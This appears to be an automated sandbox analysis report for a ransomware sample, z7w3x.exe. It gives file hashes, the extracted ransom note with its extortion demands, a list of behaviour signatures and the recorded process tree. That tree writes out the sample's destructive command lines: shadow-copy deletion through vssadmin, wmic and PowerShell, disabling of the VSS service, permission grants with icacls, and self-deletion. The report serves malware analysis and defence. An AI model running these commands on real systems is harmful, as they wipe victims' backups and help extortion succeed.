Overview

overview

10

Static

static

z7w3x.exe

windows7_x64

10

z7w3x.exe

windows10-2004_x64

10

Resubmissions

21/06/2022, 11:45

220621-nwv1rsfeg2 10

01/06/2022, 14:14

220601-rjzpzacfhn 10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    21/06/2022, 11:45

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    z7w3x.exe

  • Size

    621KB

  • MD5

    753585e5e099b192cf8d7593dd5ef4bf

  • SHA1

    68c5d6b38c9dd9e9e1e888386025352811147028

  • SHA256

    e26b2ffb2ee711fc7b04d62911580560794ee4fa9b7fcfade65ee6ff2eed0274

  • SHA512

    de96554eaa3971672f05228d26fc6cbe98c8a5b31d35b21c92256c4dfee24ec81a708d601e0be4b80a0a365f620e4b0582f6fcc950f29df2ed6233c8314494ce

Score
10/10
discoverypersistenceransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\Horse.txt

Ransom Note
::: Hello my dear friend ::: Unfortunately for you, a major IT security weakness left you open to attack, your files have been encrypted If you want to restore them,write to our skype - HORSEMAGYAR DECRYPTION Also you can write ICQ live chat which works 24/7 @HORSEMAGYAR Install ICQ software on your PC https://icq.com/windows/ or on your mobile phone search in Appstore / Google market ICQ Write to our ICQ @HORSEMAGYAR https://icq.im/HORSEMAGYAR If we not reply in 6 hours you can write to our mail but use it only if previous methods not working - [email protected] Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * We are always ready to cooperate and find the best way to solve your problem. * The faster you write, the more favorable the conditions will be for you. * Our company values its reputation. We give all guarantees of your files decryption,such as test decryption some of them We respect your time and waiting for respond from your side tell your MachineID: VFZISKNXTU and LaunchID: 865b452aec Sensitive data on your system was DOWNLOADED. If you DON'T WANT your sensitive data to be PUBLISHED you have to act quickly. Data includes: - Employees personal data, CVs, DL, SSN. - Complete network map including credentials for local and remote services. - Private financial information including: clients data, bills, budgets, annual reports, bank statements. - Manufacturing documents including: datagrams, schemas, drawings in solidworks format - And more...
URLs

https://icq.com/windows/

https://icq.im/HORSEMAGYAR

Signatures

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Deletes itself 1 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 18 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Interacts with shadow copies 2 TTPs 14 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\z7w3x.exe
    "C:\Users\Admin\AppData\Local\Temp\z7w3x.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:1684
    • C:\Windows\SysWOW64\net.exe
      net stop VSS & sc config VSS start= disabled
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:996
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop VSS & sc config VSS start= disabled
        3⤵
          PID:464
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:924
      • C:\Windows\SysWOW64\sc.exe
        sc config VSS start= Demand & net start VSS
        2⤵
        • Launches sc.exe
        PID:1296
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        wmic.exe SHADOWCOPY delete /nointeractive
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1700
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        2⤵
        • Interacts with shadow copies
        PID:1248
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=401MB
        2⤵
        • Interacts with shadow copies
        PID:1908
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=unbounded
        2⤵
        • Interacts with shadow copies
        PID:1548
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=401MB
        2⤵
        • Enumerates connected drives
        • Interacts with shadow copies
        PID:960
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=unbounded
        2⤵
        • Enumerates connected drives
        • Interacts with shadow copies
        PID:648
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=401MB
        2⤵
        • Enumerates connected drives
        • Interacts with shadow copies
        PID:808
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=unbounded
        2⤵
        • Enumerates connected drives
        • Interacts with shadow copies
        PID:1128
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=401MB
        2⤵
        • Enumerates connected drives
        • Interacts with shadow copies
        PID:624
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=unbounded
        2⤵
        • Enumerates connected drives
        • Interacts with shadow copies
        PID:884
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=401MB
        2⤵
        • Enumerates connected drives
        • Interacts with shadow copies
        PID:1656
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=unbounded
        2⤵
        • Enumerates connected drives
        • Interacts with shadow copies
        PID:924
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=401MB
        2⤵
        • Enumerates connected drives
        • Interacts with shadow copies
        PID:580
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=unbounded
        2⤵
        • Enumerates connected drives
        • Interacts with shadow copies
        PID:1188
      • C:\Windows\SysWOW64\icacls.exe
        icacls.exe "{A-Z}:" /grant {Username}:F /T /C /Q
        2⤵
        • Modifies file permissions
        PID:1184
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1140
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c timeout 1 && del "C:\Users\Admin\AppData\Local\Temp\z7w3x.exe" >> NUL
        2⤵
        • Deletes itself
        PID:1288
        • C:\Windows\SysWOW64\timeout.exe
          timeout 1
          3⤵
          • Delays execution with timeout.exe
          PID:1516
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1824
    • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"
      1⤵
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:1568
      • C:\Windows\splwow64.exe
        C:\Windows\splwow64.exe 12288
        2⤵
          PID:868
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\Desktop\ResetMeasure.potx.[865b452aec].[spanielearslook].likeoldboobs
        1⤵
        • Modifies registry class
        PID:700
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\Desktop\WaitUninstall.wmf.[865b452aec].[spanielearslook].likeoldboobs
        1⤵
        • Modifies registry class
        PID:1140
        • C:\Windows\system32\NOTEPAD.EXE
          "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\WaitUninstall.wmf.[865b452aec].[spanielearslook].likeoldboobs
          2⤵
          • Opens file in notepad (likely ransom note)
          PID:1332

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\Desktop\WaitUninstall.wmf.[865b452aec].[spanielearslook].likeoldboobs
        Filesize

        235KB

        MD5

        6d2dfdbbe90fd20ea83a74b1e1301604

        SHA1

        4d0319a44dbdf926aeddd083942a61db4311afa9

        SHA256

        974e02f8bd593fd1f9f840d55b12fc86bb4b3dce1ec4bf91d19bc87c0ab309da

        SHA512

        43e85378881e86a86ddd25999f6d76e48f14a3b7d013190d9dd05b2813e2724a2476ce7ad86b873afbd7abb72a2319e8dd6ade64b26cc09b3c0d087534518451

        Download Submit

      • memory/868-87-0x000007FEFBC21000-0x000007FEFBC23000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1140-76-0x0000000073C40000-0x00000000741EB000-memory.dmp

        Filesize

        5.7MB

        Download

      • memory/1140-77-0x0000000073C40000-0x00000000741EB000-memory.dmp

        Filesize

        5.7MB

        Download

      • memory/1568-84-0x000000007122D000-0x0000000071238000-memory.dmp

        Filesize

        44KB

        Download

      • memory/1568-82-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1568-85-0x000000007122D000-0x0000000071238000-memory.dmp

        Filesize

        44KB

        Download

      • memory/1568-81-0x0000000070241000-0x0000000070243000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1568-88-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1568-80-0x00000000727C1000-0x00000000727C4000-memory.dmp

        Filesize

        12KB

        Download

      • memory/1684-54-0x00000000756E1000-0x00000000756E3000-memory.dmp

        Filesize

        8KB

        Download